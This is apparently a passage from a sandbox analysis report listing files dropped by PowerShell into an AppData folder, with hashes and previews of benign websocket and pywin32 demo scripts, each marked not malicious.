              SHA-256:477E859C54F16152722A587EC8469AA51C69A0AF17C27F491570B2DAADA1698D
              SHA-512:CAE37ABC0DE8154874735FC4E9F28A04742A063434C2424192DD641A762D166A93A9335DFECE5EEB8CFBCEE2B7AD619B19AE6AF7AB1A55FDC960D612EDAE91C0
              Malicious:false
              Reputation:unknown
              Preview:from typing import Union.."""._url.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License..""".__all__ = ["NoLock", "validate_utf8", "extract_err_message", "extract_error_code"]...class NoLock:. def __enter__(self) -> None:. pass.. def __exit__(self, exc_type, exc_value, traceback) -> None:. pass...try:. # If wsaccel is available we use compiled routines to validate UTF-8. # strings.. from wsaccel.utf8validator import Utf8V

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\websocket\_wsdump.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):7010
              Entropy (8bit):4.634055856631404
              Encrypted:false
              SSDEEP:
              MD5:6A303F6C1A4BB89E2E1DA79702BB677B
              SHA1:1A25992606D41928C5A1C2FD1318A7359F609C9B
              SHA-256:915F362D62E50FA777BF338A395004AA47E8080FD092977485CF563764EADA43
              SHA-512:C4C6F1C5F3A654894432683C6EFFCF174E1E2D296D0FF6B9959E26EBF4086494CC16BB7AFDD6BF72B0A68855AADF6EF388F8292C42AB514858E68E98B86A15C0
              Malicious:false
              Reputation:unknown
              Preview:#!/usr/bin/env python3..""".wsdump.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License.."""..import argparse.import code.import gzip.import ssl.import sys.import threading.import time.import zlib.from urllib.parse import urlparse..import websocket..try:. import readline.except ImportError:. pass...def get_encoding() -> str:. encoding = getattr(sys.stdin, "encoding", ""). if not encoding:. return "utf-8". else:. return en

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\BackupRead_BackupWrite.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):3769
              Entropy (8bit):5.305394581961131
              Encrypted:false
              SSDEEP:
              MD5:3C3631F5328CBCB77729B6CB5A0A0766
              SHA1:16461673640008E326354F1991A395DAE439F377
              SHA-256:C68A1E175FB7784BD38307E2EBC5BC53D25C6272C89D2E04D4A53F3EBE66FD44
              SHA-512:0656985EEF1C541C57989132E260FDB8BCB9A669910AFEAC786D92369DB2895703B9530C45B72692A247E343CF877C2C766017B3EDE2B8942613BCB87C2173B8
              Malicious:false
              Reputation:unknown
              Preview:## demonstrates using BackupRead and BackupWrite to copy all of a file's data streams...import ntsecuritycon.import pythoncom.import pywintypes.import win32api.import win32con.import win32file.import win32security.from pywin32_testutil import ob2memory, str2bytes.from win32com import storagecon..all_sd_info = (. win32security.DACL_SECURITY_INFORMATION. | win32security.DACL_SECURITY_INFORMATION. | win32security.OWNER_SECURITY_INFORMATION. | win32security.GROUP_SECURITY_INFORMATION.)..tempdir = win32api.GetTempPath().tempfile = win32api.GetTempFileName(tempdir, "bkr")[0].outfile = win32api.GetTempFileName(tempdir, "out")[0].print("Filename:", tempfile, "Output file:", outfile)..f = open(tempfile, "w").f.write("some random junk" + "x" * 100).f.close()..## add a couple of alternate data streams.f = open(tempfile + ":streamdata", "w").f.write("data written to alternate stream" + "y" * 100).f.close()..f = open(tempfile + ":anotherstream", "w").f.write("z" * 100).f.close()..## add

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\BackupSeek_streamheaders.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):3864
              Entropy (8bit):5.094383698251194
              Encrypted:false
              SSDEEP:
              MD5:C29BE863D643554228F038F7F88945CE
              SHA1:200B238DF9D6AE6FC63BF5957DF04EBF9D699750
              SHA-256:1D52C2DCBFEB2B6A90D28F513DFC286E3E1727B68795BE623266003FC3764FF6
              SHA-512:E6793C97DC34AD5FAD5C206004B1BFA3AFF0E750E8E718764B6FFF7ADACF9D360A96F0C7CBC6C621C64268D4006BEC1FEF33B9D731667456EE7C0157E213B0BC
              Malicious:false
              Reputation:unknown
              Preview:## demonstrates using BackupSeek to enumerate data streams for a file.import struct..import pythoncom.import pywintypes.import win32api.import win32con.import win32file.from win32com import storagecon..stream_types = {. win32con.BACKUP_DATA: "Standard data",. win32con.BACKUP_EA_DATA: "Extended attribute data",. win32con.BACKUP_SECURITY_DATA: "Security descriptor data",. win32con.BACKUP_ALTERNATE_DATA: "Alternative data streams",. win32con.BACKUP_LINK: "Hard link information",. win32con.BACKUP_PROPERTY_DATA: "Property data",. win32con.BACKUP_OBJECT_ID: "Objects identifiers",. win32con.BACKUP_REPARSE_DATA: "Reparse points",. win32con.BACKUP_SPARSE_BLOCK: "Sparse file",.}..tempdir = win32api.GetTempPath().tempfile = win32api.GetTempFileName(tempdir, "bkr")[0].print("Filename:", tempfile)..f = open(tempfile, "w").f.write("some random junk" + "x" * 100).f.close()..f = open(tempfile + ":streamdata", "w").f.write("data written to alternate stream" + "y" * 100).f.clo

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\CopyFileEx.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):1243
              Entropy (8bit):5.026032254838223
              Encrypted:false
              SSDEEP:
              MD5:23B53C129F0FD220900CB00417719477
              SHA1:49432AFCED130D2038A15E2B8A71CF8B3B06150F
              SHA-256:3593ED8F69F6A4886C77831170869FB096B1C253A7748CB905BAA5FA21222189
              SHA-512:4DC7D107110F6D69EF61CE0286698C915130A82B83FC46FC6BB2B8ACCF6B4C9D2F92E06839FB399046E11822073C3091AC91C601EB6AFB8CB9CADCAAABD33FE9
              Malicious:false
              Reputation:unknown
              Preview:import win32api.import win32file...def ProgressRoutine(. TotalFileSize,. TotalBytesTransferred,. StreamSize,. StreamBytesTransferred,. StreamNumber,. CallbackReason,. SourceFile,. DestinationFile,. Data,.):. print(Data). print(. TotalFileSize,. TotalBytesTransferred,. StreamSize,. StreamBytesTransferred,. StreamNumber,. CallbackReason,. SourceFile,. DestinationFile,. ). ##if TotalBytesTransferred > 100000:. ## return win32file.PROGRESS_STOP. return win32file.PROGRESS_CONTINUE...temp_dir = win32api.GetTempPath().fsrc = win32api.GetTempFileName(temp_dir, "cfe")[0].fdst = win32api.GetTempFileName(temp_dir, "cfe")[0].print(fsrc, fdst)..f = open(fsrc, "w").f.write("xxxxxxxxxxxxxxxx\n" * 32768).f.close().## add a couple of extra data streams.f = open(fsrc + ":stream_y", "w").f.write("yyyyyyyyyyyyyyyy\n" * 32768).f.close().f = open(fsrc + ":stream_z", "w").f.write("zzzzzzzzzzzzzzzz\n" * 327

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\CreateFileTransacted_MiniVersion.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):3678
              Entropy (8bit):4.93181107133077
              Encrypted:false
              SSDEEP:
              MD5:B233DC4ABD6C31BBB7CD09796425F3FE
              SHA1:2E815CE1731D3898825FE7C710C91B3F60AC0819
              SHA-256:F2E14F3E7DA3E92929621EF1D8B638B5E6585C01500EAD7BD3235E74EB7537AE
              SHA-512:7DC3AD3EE811802AA74DE243809724A7F04893FF22771A47239F7C1B5DC0DE0F3E4351A09C1B8BFE61126A588509E1E5715277D807F5170B97FFE82D7856C7AF
              Malicious:false
              Reputation:unknown
              Preview:""".This demonstrates the creation of miniversions of a file during a transaction..The FSCTL_TXFS_CREATE_MINIVERSION control code saves any changes to a new.miniversion (effectively a savepoint within a transaction).."""..import os.import struct..import win32api.import win32con.import win32file.import win32transaction.import winerror.import winioctlcon.from pywin32_testutil import str2bytes # py3k-friendly helper...def demo():. """. Definition of buffer used with FSCTL_TXFS_CREATE_MINIVERSION:. typedef struct _TXFS_CREATE_MINIVERSION_INFO{. USHORT StructureVersion;. USHORT StructureLength;. ULONG BaseVersion;. USHORT MiniVersion;}. """. buf_fmt = "HHLH0L" ## buffer size must include struct padding. buf_size = struct.calcsize(buf_fmt).. tempdir = win32api.GetTempPath(). tempfile = win32api.GetTempFileName(tempdir, "cft")[0]. print("Demonstrating transactions on tempfile", tempfile). f = open(tempfile, "w"). f.write("This is

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\EvtFormatMessage.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):3360
              Entropy (8bit):4.398214944508592
              Encrypted:false
              SSDEEP:
              MD5:BF88AD04588F165B826D3321E4203135
              SHA1:C332E8523536EE5500782156459865DE0069DB37
              SHA-256:5C0DF671D1FBF8EAAF0277B9A418707D15B72939BFD2DD82029FAB7F51E89F9E
              SHA-512:AE99D655D60EBE9077788F3F4EE32D19C1A3B70D9274264997F05CECBAADD2219F4A8D49DDFB72A4A307FD2D8B6776EEAC94E173B66C3BE225F8EC02FE2DAA97
              Malicious:false
              Reputation:unknown
              Preview:import sys..import win32evtlog...def main():. path = "System". num_events = 5. if len(sys.argv) > 2:. path = sys.argv[1]. num_events = int(sys.argv[2]). elif len(sys.argv) > 1:. path = sys.argv[1].. query = win32evtlog.EvtQuery(path, win32evtlog.EvtQueryForwardDirection). events = win32evtlog.EvtNext(query, num_events). context = win32evtlog.EvtCreateRenderContext(win32evtlog.EvtRenderContextSystem).. for i, event in enumerate(events, 1):. result = win32evtlog.EvtRender(. event, win32evtlog.EvtRenderEventValues, Context=context. ).. print("Event {}".format(i)).. level_value, level_variant = result[win32evtlog.EvtSystemLevel]. if level_variant != win32evtlog.EvtVarTypeNull:. if level_value == 1:. print(" Level: CRITICAL"). elif level_value == 2:. print(" Level: ERROR"). elif level_value == 3:. print(" Level: WAR

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\EvtSubscribe_pull.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):792
              Entropy (8bit):4.872080815758319
              Encrypted:false
              SSDEEP:
              MD5:D360933C44E9DEC9F75199B3651E6537
              SHA1:CDF798EC67E65CB9FAA6AF7C1D3500AED59B87F0
              SHA-256:A4AA23F9C16AA2E78A1A22A0C12B1854BC0019ABF33670672A52773C53249911
              SHA-512:4E964A2BFA726740784CB6EC44EAA3EA7E70CCF78FC8678C87855A9C135E71142B01392E1ED8A4F0CD12DC909D04C1A38C4715486A99A57B4B7F8B178B6CDE4C
              Malicious:false
              Reputation:unknown
              Preview:## Demonstrates how to create a "pull" subscription.import win32con.import win32event.import win32evtlog..query_text = '*[System[Provider[@Name="Microsoft-Windows-Winlogon"]]]'..h = win32event.CreateEvent(None, 0, 0, None).s = win32evtlog.EvtSubscribe(. "System",. win32evtlog.EvtSubscribeStartAtOldestRecord,. SignalEvent=h,. Query=query_text,.)..while 1:. while 1:. events = win32evtlog.EvtNext(s, 10). if len(events) == 0:. break. ##for event in events:. ##.print(win32evtlog.EvtRender(event, win32evtlog.EvtRenderEventXml)). print("retrieved %s events" % len(events)). while 1:. print("waiting..."). w = win32event.WaitForSingleObjectEx(h, 2000, True). if w == win32con.WAIT_OBJECT_0:. break.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\EvtSubscribe_push.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):692
              Entropy (8bit):4.945280120308455
              Encrypted:false
              SSDEEP:
              MD5:52D985F0616A0F7455B5F7910B07182D
              SHA1:D4ACD75A93ACA5F4B3205A5AC340695A283A6039
              SHA-256:B6027143EE94E0E332D3851E23948BF6A98C4F6FEC26262703FAF6774FE3355D
              SHA-512:A53F1558E74F3E5B1C238E71A0EDD62BA0A5D0383C60F620B3489A8AA0387FA639BC871A14D042BB179C7E166E1413F672690B0E61F2E75D95CA10EA95C9BDC2
              Malicious:false
              Reputation:unknown
              Preview:## Demonstrates a "push" subscription with a callback function.import win32evtlog..query_text = '*[System[Provider[@Name="Microsoft-Windows-Winlogon"]]]'...def c(reason, context, evt):. if reason == win32evtlog.EvtSubscribeActionError:. print("EvtSubscribeActionError"). elif reason == win32evtlog.EvtSubscribeActionDeliver:. print("EvtSubscribeActionDeliver"). else:. print("??? Unknown action ???", reason). context.append(win32evtlog.EvtRender(evt, win32evtlog.EvtRenderEventXml)). return 0...evttext = [].s = win32evtlog.EvtSubscribe(. "System",. win32evtlog.EvtSubscribeStartAtOldestRecord,. Query="*",. Callback=c,. Context=evttext,.).

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\FileSecurityTest.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):4397
              Entropy (8bit):4.74911812392731
              Encrypted:false
              SSDEEP:
              MD5:430E76B755434E0D55E9F95AFDB387D0
              SHA1:53171BBFFB86036C9BC312DAC4FA358C0D2DDC32
              SHA-256:CCB6A2880CAC7C9D67966F0185DBF8175F01F6C7DA76058D2B55E61CFA8FE687
              SHA-512:8381D4E1BC373FE7DC798D2DE6A2E785667374436AFC9BDBA701733C08B627028FD76F0D5C0A194FAD7CC99994CC9290F3478CBB5FCAD09EB046F521B016BF2F
              Malicious:false
              Reputation:unknown
              Preview:# Contributed by Kelly Kranabetter..import os.import sys..import ntsecuritycon.import pywintypes.import win32security.import winerror..# get security information.# name=r"c:\autoexec.bat".# name= r"g:\!workgrp\lim".name = sys.argv[0]..if not os.path.exists(name):. print(name, "does not exist!"). sys.exit()..print("On file ", name, "\n")..# get owner SID.print("OWNER").try:. sd = win32security.GetFileSecurity(name, win32security.OWNER_SECURITY_INFORMATION). sid = sd.GetSecurityDescriptorOwner(). print(" ", win32security.LookupAccountSid(None, sid)).except pywintypes.error as exc:. # in automation and network shares we see:. # pywintypes.error: (1332, 'LookupAccountName', 'No mapping between account names and security IDs was done.'). if exc.winerror != winerror.ERROR_NONE_MAPPED:. raise. print("No owner information is available")..# get group SID.try:. print("GROUP"). sd = win32security.GetFileSecurity(name, win32security.GROUP_SECURITY_INFORMATI

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\GetSaveFileName.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):1184
              Entropy (8bit):5.129410238641104
              Encrypted:false
              SSDEEP:
              MD5:07D0143379349CB71B6701D8BF4D2480
              SHA1:8D13834D7BCEF11174F631C4EFDA3E45E18D31CB
              SHA-256:AA67DE1EC080EEFAD5CA4F5054778915AF8F282C2AF7D76243E66F409A1365B5
              SHA-512:13331E7E7504822C2F3E9C693E27774BAE16B3DDA738695C43EBB79DFB3102F573F957B2EF437CC0BC0732218300FCA1C9E1CBE9B78C81D15DB9949EF9E3A257
              Malicious:false
              Reputation:unknown
              Preview:import os..import win32con.import win32gui..filter = "Python Scripts\0*.py;*.pyw;*.pys\0Text files\0*.txt\0".customfilter = "Other file types\0*.*\0"..fname, customfilter, flags = win32gui.GetSaveFileNameW(. InitialDir=os.environ["temp"],. Flags=win32con.OFN_ALLOWMULTISELECT | win32con.OFN_EXPLORER,. File="somefilename",. DefExt="py",. Title="GetSaveFileNameW",. Filter=filter,. CustomFilter=customfilter,. FilterIndex=1,.)..print("save file names:", repr(fname)).print("filter used:", repr(customfilter)).print("Flags:", flags).for k, v in list(win32con.__dict__.items()):. if k.startswith("OFN_") and flags & v:. print("\t" + k)..fname, customfilter, flags = win32gui.GetOpenFileNameW(. InitialDir=os.environ["temp"],. Flags=win32con.OFN_ALLOWMULTISELECT | win32con.OFN_EXPLORER,. File="somefilename",. DefExt="py",. Title="GetOpenFileNameW",. Filter=filter,. CustomFilter=customfilter,. FilterIndex=0,.)..print("open file names:", repr(f

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\NetValidatePasswordPolicy.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):3508
              Entropy (8bit):4.535330596706897
              Encrypted:false
              SSDEEP:
              MD5:A703B33F30ADDE0B10973667F662CC7F
              SHA1:D93572C859D1AC36ABE313452812B68BC14B9E7C
              SHA-256:EA659B89FF3F9F1959C2B7AF8F075A0A2099533AFE7EB1CA7E72957732A05FF0
              SHA-512:45C55EE1037C5F25BE8F4B796A55D12E37DCB965F5DAC48E62903DB75AD984775CC5D13E81372EB94F8CE256CAD97E055F6BE8060CD835A213AFC468493E3459
              Malicious:false
              Reputation:unknown
              Preview:"""A demo of using win32net.NetValidatePasswordPolicy...Example usage:..% NetValidatePasswordPolicy.py --password=foo change.which might return:..> Result of 'change' validation is 0: The operation completed successfully...or depending on the policy:..> Result of 'change' validation is 2245: The password does not meet the.> password policy requirements. Check the minimum password length,.> password complexity and password history requirements...Adding --user doesn't seem to change the output (even the PasswordLastSet seen.when '-f' is used doesn't depend on the username), but theoretically it will.also check the password history for the specified user...% NetValidatePasswordPolicy.py auth..which always (with and without '-m') seems to return:..> Result of 'auth' validation is 2701: Password must change at next logon."""..import optparse.import sys.from pprint import pprint..import win32api.import win32net.import win32netcon...def main():. parser = optparse.OptionParser(. "%pr

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\OpenEncryptedFileRaw.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2023
              Entropy (8bit):5.051057812294554
              Encrypted:false
              SSDEEP:
              MD5:1579B6CDBB6769E65896F32483CA08F5
              SHA1:D7FFA56CC5E829FFA5BCBB145644E0AB219DEB6C
              SHA-256:79D916989C1CA439CD602BF8C7A5FB7749421D64E0BFACBFF039B3F91E39A24A
              SHA-512:F34B2045343CD21CAB62955D197CEE1969998680FDA080CE7FFD4C904B9C38536193C2330E321FCCD14224F8258BBFC51DB963F61472C9293525C253B9BA9360
              Malicious:false
              Reputation:unknown
              Preview:import os..import win32api.import win32file.import winerror...def ReadCallback(input_buffer, data, buflen):. fnamein, fnameout, f = data. ## print fnamein, fnameout, buflen. f.write(input_buffer). ## python 2.3 throws an error if return value is a plain int. return winerror.ERROR_SUCCESS...def WriteCallback(output_buffer, data, buflen):. fnamebackup, fnameout, f = data. file_data = f.read(buflen). ## returning 0 as len terminates WriteEncryptedFileRaw. output_len = len(file_data). output_buffer[:output_len] = file_data. return winerror.ERROR_SUCCESS, output_len...tmp_dir = win32api.GetTempPath().dst_dir = win32api.GetTempFileName(tmp_dir, "oef")[0].os.remove(dst_dir).os.mkdir(dst_dir).print("Destination dir:", dst_dir)..## create an encrypted file.fname = win32api.GetTempFileName(dst_dir, "ref")[0].print("orig file:", fname).f = open(fname, "w").f.write("xxxxxxxxxxxxxxxx\n" * 32768).f.close().## add a couple of extra data streams.f = open(fname + ":stre

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\RegCreateKeyTransacted.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):1912
              Entropy (8bit):4.996086312535218
              Encrypted:false
              SSDEEP:
              MD5:741D38BEDF1C869EE787FC7ACAEC0021
              SHA1:13E733C166A8FDAFC61199E18B7D5E5D1CC5E8C7
              SHA-256:61E15FB3EBAB14C07BD6085672916195BA13259BFEE3E7DD4C6EF8DE99CF0BBB
              SHA-512:0B27730E1FEB8E10E03664789A588B8BA0B9E7B3D07F328B0E87C6F3A597B74A40A6BF9654A66035071C013D37EF543A65EAC0D4DFE074F4C6DE3FEDF655EA4C
              Malicious:false
              Reputation:unknown
              Preview:import win32api.import win32con.import win32transaction..keyname = "Pywin32 test transacted registry functions".subkeyname = "test transacted subkey".classname = "Transacted Class"..trans = win32transaction.CreateTransaction(Description="test RegCreateKeyTransacted").key, disp = win32api.RegCreateKeyEx(. win32con.HKEY_CURRENT_USER,. keyname,. samDesired=win32con.KEY_ALL_ACCESS,. Class=classname,.).## clean up any existing keys.for subk in win32api.RegEnumKeyExW(key):. win32api.RegDeleteKey(key, subk[0])..## reopen key in transacted mode.transacted_key = win32api.RegOpenKeyTransacted(. Key=win32con.HKEY_CURRENT_USER,. SubKey=keyname,. Transaction=trans,. samDesired=win32con.KEY_ALL_ACCESS,.).subkey, disp = win32api.RegCreateKeyEx(. transacted_key,. subkeyname,. Transaction=trans,. samDesired=win32con.KEY_ALL_ACCESS,. Class=classname,.)..## Newly created key should not be visible from non-transacted handle.subkeys = [s[0] for s in win32api.RegEnu

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\RegRestoreKey.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2063
              Entropy (8bit):5.11300797395737
              Encrypted:false
              SSDEEP:
              MD5:1BE4DC6030AA23DD32D4E7CAD3A1F0D8
              SHA1:49F6308BF8E3A6F7D765B699A02F17393EBE2FB0
              SHA-256:B02E9C41D6E51EBE3926C1746E5372E62AC2613F847FFF95C5D6F9EA368572DF
              SHA-512:6D78179DBE0CABE9A2EEDD9FBFDDD0BD33B2A397E0D48AB05AFA4970424E22F4C262526E489FBB26B7565A43764D7CCEE8BD827FF09FFF4106E334DFCAE453D6
              Malicious:false
              Reputation:unknown
              Preview:import os..import ntsecuritycon.import win32api.import win32con.import win32security.import winnt..temp_dir = win32api.GetTempPath().fname = win32api.GetTempFileName(temp_dir, "rsk")[0].print(fname).## file can't exist.os.remove(fname)..## enable backup and restore privs.required_privs = (. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_BACKUP_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_RESTORE_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),.).ph = win32api.GetCurrentProcess().th = win32security.OpenProcessToken(. ph, win32con.TOKEN_READ | win32con.TOKEN_ADJUST_PRIVILEGES.).adjusted_privs = win32security.AdjustTokenPrivileges(th, 0, required_privs)..try:. sa = win32security.SECURITY_ATTRIBUTES(). my_sid = win32security.GetTokenInformation(th, ntsecuritycon.TokenUser)[0]. sa.SECURITY_DESCRIPTOR.SetSecurityDescriptorOwner(my_sid, 0).. k, disp = win32api.RegCreateKeyEx(

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\SystemParametersInfo.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):7957
              Entropy (8bit):5.388617419802842
              Encrypted:false
              SSDEEP:
              MD5:E9EFEB93CB39D5E58DC872610C559C9B
              SHA1:E857D85B5FCE044393BB761C2066D5C6D80DB517
              SHA-256:B57538B210D4FD23437E3F0F9FCDA52FDA038F6CCB7E3BF4DB626D2C3EF8F200
              SHA-512:3B48E942370DBD06744B114DCDB230096E3AAACBA426A95F0361B10D780CDBD11188837490EECECE37C1940CE2216A6AC95D63287E10699DC19E4F88FA972D0A
              Malicious:false
              Reputation:unknown
              Preview:import glob.import os.import time..import win32api.import win32con.import win32gui..## some of these tests will fail for systems prior to XP..for pname in (. ## Set actions all take an unsigned int in pvParam. "SPI_GETMOUSESPEED",. "SPI_GETACTIVEWNDTRKTIMEOUT",. "SPI_GETCARETWIDTH",. "SPI_GETFOREGROUNDFLASHCOUNT",. "SPI_GETFOREGROUNDLOCKTIMEOUT",. ## Set actions all take an unsigned int in uiParam. "SPI_GETWHEELSCROLLLINES",. "SPI_GETKEYBOARDDELAY",. "SPI_GETKEYBOARDSPEED",. "SPI_GETMOUSEHOVERHEIGHT",. "SPI_GETMOUSEHOVERWIDTH",. "SPI_GETMOUSEHOVERTIME",. "SPI_GETSCREENSAVETIMEOUT",. "SPI_GETMENUSHOWDELAY",. "SPI_GETLOWPOWERTIMEOUT",. "SPI_GETPOWEROFFTIMEOUT",. "SPI_GETBORDER",. ## below are winxp only:. "SPI_GETFONTSMOOTHINGCONTRAST",. "SPI_GETFONTSMOOTHINGTYPE",. "SPI_GETFOCUSBORDERHEIGHT",. "SPI_GETFOCUSBORDERWIDTH",. "SPI_GETMOUSECLICKLOCKTIME",.):. print(pname). cget = getattr(win32con, pname). cset =

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\c_extension\setup.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):767
              Entropy (8bit):4.806261092723215
              Encrypted:false
              SSDEEP:
              MD5:1A58DDE5C50B46C1D1F8EA2DFC5864C0
              SHA1:97132512402D2EB34AC1D098BC7FFC4777BFDBD7
              SHA-256:25D58FD5E6D02A1DD5EE74E07446D8F16C0F1BFE244B26EF33E0D44FE75EE6F3
              SHA-512:4FCB571603C1AA1083ABAB5B7EC67C32B6FD2AA06AEC74B3F15276C61D828E9F2666F2871E48673B24B4E0EA2864ECB8B391F622FCC2EC6FCE20262C9FA62082
              Malicious:false
              Reputation:unknown
              Preview:# A sample distutils script to show to build your own.# extension module which extends pywintypes or pythoncom..#.# Use 'python setup.py build' to build this extension..import os.from distutils.core import Extension, setup.from sysconfig import get_paths..sources = ["win32_extension.cpp"].lib_dir = get_paths()["platlib"]..# Specify the directory where the PyWin32 .h and .lib files are installed..# If you are doing a win32com extension, you will also need to add.# win32com\Include and win32com\Libs..ext = Extension(. "win32_extension",. sources,. include_dirs=[os.path.join(lib_dir, "win32", "include")],. library_dirs=[os.path.join(lib_dir, "win32", "libs")],.)..setup(. name="win32 extension sample",. version="0.1",. ext_modules=[ext],.).

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\cerapi.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):7919
              Entropy (8bit):4.65097395781897
              Encrypted:false
              SSDEEP:
              MD5:6A35220B5A6D51EFDA6A0149AB846E42
              SHA1:51A99F41083A92C1331E4DF817BBC0D6C9FAD7F3
              SHA-256:7BC6B2F12435DAD24854E120E4D9426269C1FD5A65C8F8BD1B5EB1B1BCACCF96
              SHA-512:4324DBB3D41B1DA26F4D78A0706EE4A41A0BCCDD7EFD5C626556C459E95A25302B3684BD6AC9AAAF0C5FEFE81B9C91674D82E17DD03CC4FD90744E5D55A03558
              Malicious:false
              Reputation:unknown
              Preview:# A demo of the Windows CE Remote API.#.# This connects to a CE device, and interacts with it...import getopt.import os.import sys..import win32api.import win32con.import win32event.import wincerapi...def DumpPythonRegistry():. try:. h = wincerapi.CeRegOpenKeyEx(. win32con.HKEY_LOCAL_MACHINE,. "Software\\Python\\PythonCore\\%s\\PythonPath" % sys.winver,. ). except win32api.error:. print("The remote device does not appear to have Python installed"). return 0. path, typ = wincerapi.CeRegQueryValueEx(h, None). print("The remote PythonPath is '%s'" % (str(path),)). h.Close(). return 1...def DumpRegistry(root, level=0):. # A recursive dump of the remote registry to test most functions.. h = wincerapi.CeRegOpenKeyEx(win32con.HKEY_LOCAL_MACHINE, None). level_prefix = " " * level. index = 0. # Enumerate values.. while 1:. try:. name, data, typ = wincerapi.CeRegEnumValue(root, index).

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\dde\ddeclient.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):434
              Entropy (8bit):4.946201052398342
              Encrypted:false
              SSDEEP:
              MD5:2D792963A25E0425CEB0E4EBA9533610
              SHA1:73775E1E6143D54E131BC8BCD5F6B9B8D722B1A9
              SHA-256:DFE50A175652A73619BD31ED5A03567F38B1F4F9B0654273DA0072335A181D0B
              SHA-512:0F8DB0BF6A83E0BFD4DB14AF288668E1FFC24E488CCBBC6A098522C19F22F991F90F92D95050E74B82EEF449C1A17E537ABC40F7572D1F2A6A801B134718E95C
              Malicious:false
              Reputation:unknown
